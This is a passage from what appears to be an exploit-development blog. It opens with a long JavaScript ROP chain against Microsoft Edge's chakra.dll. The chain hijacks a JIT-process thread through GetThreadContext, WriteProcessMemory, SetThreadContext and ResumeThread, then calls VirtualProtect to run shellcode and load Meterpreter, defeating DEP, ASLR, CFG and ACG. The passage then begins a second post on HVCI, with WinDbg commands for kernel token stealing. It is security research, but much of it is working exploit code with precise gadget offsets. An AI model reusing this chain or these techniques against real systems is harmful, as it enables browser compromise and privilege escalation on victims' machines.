    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108, kernelbaseHigh); // .data section of kernelbase.dll where we will store the VirtualAlloc allocation
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
    next();

    // Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we will store CONTEXT.ContextFlags
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
    next();

    // We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110
    // The value we need to set is 0x10001F
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll with CONTEXT.ContextFlags address
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x0010001F, 0x00000000);             // CONTEXT_ALL
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
    next();

    // HANDLE hThread
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
    next();

    // LPCONTEXT lpContext
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
    next();                                                                      
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
    next();

    // Call KERNELBASE!GetThreadContext
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x72d10, kernelbaseHigh); // KERNELBASE!GetThreadContext address 
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();

    // Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we stored CONTEXT.ContextFlags
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x4c37c5, chakraHigh);		// 0x1804c37c5: mov rax, qword [rcx] ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f73a, chakraHigh);       // 0x18026f73a: add rax, 0x68 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a118, kernelbaseHigh); // .data section of kernelbase.dll where we want to store CONTEXT.Rsp
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
    next();

    // Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f72a, chakraHigh);      // 0x18026f72a: add rax, 0x60 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // ret gadget we want to overwrite our remote thread's RIP with 
	next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xfeab, chakraHigh);        // 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)
    next();

    // WriteProcessMemory() ROP chain (Number 4)
    // Stage 9 -> Write our ROP chain to the remote process, using the JIT handle and the leaked stack via GetThreadContext()

    // SIZE_T nSize (R9)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000100, 0x00000000);             // SIZE_T nSize (0x100) (CONTEXT.Rsp is writable and a "full" stack, so 0x100 is more than enough)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();

    // LPVOID lpBaseAddress (RDX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a118-0x08, kernelbaseHigh);      // .data section of kernelbase.dll where CONTEXT.Rsp resides
    next();                                                                      
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret (Pointer to CONTEXT.Rsp)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26ef31, chakraHigh);      // 0x18026ef31: mov rax, qword [rax] ; ret (get CONTEXT.Rsp)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x435f21, chakraHigh);      // 0x180435f21: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret (RAX and RDX now both have CONTEXT.Rsp)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();

    // LPCVOID lpBuffer (R8)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropBegin, chakraHigh);      // .data section of chakra.dll where our ROP chain is
    next();

    // HANDLE hProcess (RCX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds the full perms handle to JIT server
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
    next();                                                                     // Recall RAX already has a writable pointer in it  

    // Call KERNELBASE!WriteProcessMemory
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x20)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
    next();
	// SetThreadContext() ROP chain
    // Stage 10 -> Update our remote thread's RIP to return execution into our VirtualProtect ROP chain

    // HANDLE hThread (RCX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
    next();

    // const CONTEXT *lpContext
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
    next();                                                                      
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
    next();

    // Call KERNELBASE!SetThreadContext
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x7aa0, kernelbaseHigh); // KERNELBASE!SetThreadContext address 
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!SetThreadContext)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!SetThreadContext - 0x180243949: add rsp, 0x38 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();

    // ResumeThread() ROP chain
    // Stage 11 -> Resume the thread, with RIP now pointing to a return into our ROP chain

    // HANDLE hThread (RCX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
    next();

    // Call KERNELBASE!ResumeThread
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x70a50, kernelbaseHigh); // KERNELBASE!ResumeThread address 
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!ResumeThread)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!ResumeThread - 0x180243949: add rsp, 0x38 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
    next();
}
</script>

Let’s start by setting a breakpoint on a jmp rax gadget to reach our SetThreadContext call.

The first parameter we will deal with is the handle to the remote thread we have within the JIT process.

This brings our calls to the following states:

SetThreadContext(
	threadHandle,				// A handle to the thread we want to set (our thread we created via CreateRemoteThread)
	-
);
ResumeThread(
	-
);

The next parameter we will set is the pointer to our updated CONTEXT structure.

We then can get SetThreadContext into RAX and call it. The call should be in the following state:

SetThreadContext(
	threadHandle,				// A handle to the thread we want to set (our thread we created via CreateRemoteThread)
	addressof(VirtualAlloc_buffer)		// The updated CONTEXT structure
);

We then can execute our SetThreadContext call and hit our first ResumeThread gadget.

ResumeThread only has one parameter, so we will fill it and set up RAX BUT WE WILL NOT YET EXECUTE THE CALL!

ResumeThread(
	threadHandle,				// A handle to the thread we want to set (our thread we created via CreateRemoteThread)
);

Before we execute ResumeThread, we now need to attach another WinDbg instance to the JIT process. We will set a breakpoint on our ret gadget and see if we successfully control the remote thread!

Coming back to the content process, we can hit pt to execute our call to ResumeThread, which should kick off execution of our remote thread within the JIT process!

Going back to the JIT process, we can see our breakpoint was hit and our ROP chain is on the stack! We have gained code execution in the JIT process!

Our last step will be to walk through our VirtualProtect ROP chain, which should mark our shellcode as RWX. Here is how the call should look:

VirtualProtect(
	addressof(shellcode),				// The address of our already injected shellcode (we want this to be marked as RWX)
	sizeof(shellcode),				// The size of the memory we want to mark as RWX
	PAGE_EXECUTE_READWRITE,				// We want our shellcode to be RWX
	addressof(data_address) 			// Any writable address
);

Executing the ret gadget, we hit our first ROP gadgets which setup the lpflOldProtect parameter, which is any address that is writable

We are now here:

VirtualProtect(
	-
	-
	-
	addressof(data_address) 			// Any writable address
);

The next parameter we will address is the lpAddress parameter - which is the address of our shellcode (the page we want to mark as RWX)

We are now here:

VirtualProtect(
	addressof(shellcode),				// The address of our already injected shellcode (we want this to be marked as RWX)
	-
	-
	addressof(data_address) 			// Any writable address
);

Next up is dwSize, which we set to 0x1000.

We are now here:

VirtualProtect(
	addressof(shellcode),				// The address of our already injected shellcode (we want this to be marked as RWX)
	sizeof(shellcode),				// The size of the memory we want to mark as RWX
	-
	addressof(data_address) 			// Any writable address
);

The last parameter is our page protection, which is PAGE_EXECUTE_READWRITE.

We are now all setup!

VirtualProtect(
	addressof(shellcode),				// The address of our already injected shellcode (we want this to be marked as RWX)
	sizeof(shellcode),				// The size of the memory we want to mark as RWX
	PAGE_EXECUTE_READWRITE,				// We want our shellcode to be RWX
	addressof(data_address) 			// Any writable address
);

After executing the function call, we have marked our shellcode as RWX! We have successfully bypassed Arbitrary Code Guard and have generated dynamic RWX memory!

The last thing for us is to ensure execution reaches our shellcode. After executing the VirtualProtect function, let’s see if we hit the last part of our ROP chain - which should push our shellcode address onto the stack, and return into it.

That’s it! We have achieved our task and we now can execute our shellcode!

An exploit GIF shall suit us nicely here!

Meterpreter is also loaded as a reflective, in memory DLL - meaning we have also taken care of CIG as well! That makes for DEP, ASLR, CFG, ACG, CIG, and no-child process mitigation bypasses! No wonder this post was so long!

Conclusion

This was an extremely challenging and rewarding task. Browser exploitation has been a thorn in my side for a long time, and I am very glad I now understand the basics. I do not yet know what is in my future, but if it is close to this level of complexity (I, at least, thought it was complex) I should be in for a treat! It is 4 a.m., so I am signing off now. Here is the final exploit on my GitHub.

Peace, love, and positivity :-)

Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG

23 May 2022 at 00:00

Introduction

I firmly believe there is nothing in life that is more satisfying than wielding the ability to execute unsigned-shellcode. Forcing an application to execute some kind of code the developer of the vulnerable application never intended is what first got me hooked on memory corruption. However, as we saw in my last blog series on browser exploitation, this is already something that, if possible, requires an expensive exploit - in terms of cost to develop. With the advent of Arbitrary Code Guard, and Code Integrity Guard, executing unsigned code within a popular user-mode exploitation “target”, such as a browser, is essentially impossible when these mitigations are enforced properly (and without an existing vulnerability).

Another popular target for exploit writers is the Windows kernel. Just like with user-mode targets, such as Microsoft Edge (pre-Chromium), Microsoft has invested extensively into preventing execution of unsigned, attacker-supplied code in the kernel. This is why Hypervisor-Protected Code Integrity (HVCI) is sometimes called “the ACG of kernel mode”. HVCI is a mitigation, as the name insinuates, that is provided by the Windows hypervisor - Hyper-V.

HVCI is a part of a suite of hypervisor-provided security features known as Virtualization-Based Security (VBS). HVCI uses some of the same technologies employed for virtualization in order to mitigate the ability to execute shellcode/unsigned-code within the Windows kernel. It is worth noting that VBS isn’t HVCI. HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

How can exploit writers deal with this “shellcode-less” era? Let’s start by taking a look into how a typical kernel-mode exploit may work and then examine how HVCI affects that mission statement.

“We guarantee an elevated process, or your money back!” - The Kernel Exploit Committee’s Mission Statement

Kernel exploits are (usually) locally-executed for local privilege escalation (LPE). Remotely-detonated kernel exploits over a protocol handled in the kernel, such as SMB, are usually more rare - so we will focus on local exploitation.

When locally-executed kernel exploits are exploited, they usually follow the below process (key word here - usually):

  1. The exploit (which usually is a medium-integrity process if executed locally) uses a kernel vulnerability to read and write kernel memory.
  2. The exploit uses the ability to read/write to overwrite a function pointer in kernel-mode (or finds some other way) to force the kernel to redirect execution into attacker-controlled memory.
  3. The attacker-controlled memory contains shellcode.
  4. The attacker-supplied shellcode executes. The shellcode could be used to arbitrarily call kernel-mode APIs, further corrupt kernel-mode memory, or perform token stealing in order to escalate to NT AUTHORITY\SYSTEM.

Since token stealing is extremely prevalent, let’s focus on it.

We can quickly perform token stealing using WinDbg. If we open up an instance of cmd.exe, we can use the whoami command to understand which user this Command Prompt is running in context of.

Using WinDbg, in a kernel-mode debugging session, we then can locate where in the EPROCESS structure the Token member is, using the dt command. Then, using the WinDbg Debugger Object Model, we then can leverage the following commands to locate the cmd.exe EPROCESS object, the System process EPROCESS object, and their Token objects.

dx -g @$cursession.Processes.Where(p => p.Name == "System").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

dx -g @$cursession.Processes.Where(p => p.Name == "cmd.exe").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

The above commands will:

  1. Enumerate all of the current session’s active processes and filter out processes named System (or cmd.exe in the second command)
  2. View the name of the process, the address of the corresponding EPROCESS object, and the Token object

Then, using the ep command to overwrite a pointer, we can overwrite the cmd.exe EPROCESS.Token object with the System EPROCESS.Token object - which elevates cmd.exe to NT AUTHORITY\SYSTEM privileges.

It is truly a story old as time - and this is what most kernel-mode exploit authors attempt to do. This can usually be achieved through shellcode, which usually looks something like the image below.

However, with the advent of HVCI - many exploit authors have moved to data-only attacks, as HVCI prevents unsigned-code execution, like shellcode, from running (we will examine why shortly). These so-called “data-only attacks” may work something like the following, in order to achieve the same thing (token stealing):

  1. NtQuerySystemInformation allows a medium-integrity process to leak any EPROCESS object. Using this function, an adversary can locate the EPROCESS object of the exploiting process and the System process.
  2. Using a kernel-mode arbitrary write primitive, an adversary can then copy the token of the System process over the exploiting process, just like before when we manually performed this in WinDbg, simply using the write primitive.

This is all fine and well - but the issue resides in the fact an adversary would be limited to hot-swapping tokens. The beauty of detonating unsigned code is the extensibility to not only perform token stealing, but to also invoke arbitrary kernel-mode APIs as well. Most exploit writers sell themselves short (myself included) by stopping at token stealing. Depending on the use case, “vanilla” escalation to NT AUTHORITY\SYSTEM privileges may not be what a sophisticated adversary wants to do with kernel-mode code execution.

A much more powerful primitive, besides being limited to only token stealing, would be if we had the ability to turn our arbitrary read/write primitive into the ability to call any kernel-mode API of our choosing! This could allow us to allocate pool memory, unload a driver, and much more - with the only caveat being that we stay “HVCI compliant”. Let’s focus on that “HVCI compliance” now to see how it affects our exploitation.

Note that the next three sections contain an explanation of some basic virtualization concepts, along with VBS/HVCI. If you are familiar, feel free to skip to the From Read/Write To Arbitrary Kernel-Mode Function Invocation section of this blog post to go straight to exploitation.

Hypervisor-Protected Code Integrity (HVCI) - What is it?

HVCI, at a high level, is a technology on Windows systems that prevents attackers from executing unsigned-code in the Windows kernel by essentially preventing readable, writable, and executable memory (RWX) in kernel mode. If an attacker cannot write to an executable code page - they cannot place their shellcode in such pages. On top of that, if attackers cannot force data pages (which are writable) to become code pages - said pages which hold the malicious shellcode can never be executed.

How is this manifested? HVCI leverages existing virtualization capabilities provided by the CPU and the Hyper-V hypervisor. If we want to truly understand the power of HVCI it is first worth taking a look at some of the virtualization technologies that allow HVCI to achieve its goals.

Hyper-V 101

Before prefacing this section (and the next two sections), all information provided can be found within Windows Internals 7th Edition: Part 2, Intel 64 and IA-32 Architectures Software Manual, Combined Volumes, and Hypervisor Top Level Functional Specification.

Hyper-V is Microsoft’s hypervisor. Hyper-V uses partitions for virtualization purposes. The host operating system is the root partition and child partitions are partitions that are allocated to host a virtual machine. When you create a Hyper-V virtual machine, you are allocating some system resources to create a child partition for the VM. This includes its own physical address space, virtual processors, virtual hard disk, etc. Creating a child partition creates a boundary between the root and child partition(s) - where the child partition is placed in its own address space, and is isolated. This means one virtual machine can’t “touch” other virtual machines, or the host, as the virtual machines are isolated in their own address space.

Among the technologies that help augment this isolation is Second Layer Address Translation, or SLAT. SLAT is what actually allows each VM to run in its own address space in the eyes of the hypervisor. Intel’s implementation of SLAT is known as Extended Page Tables, or EPT.

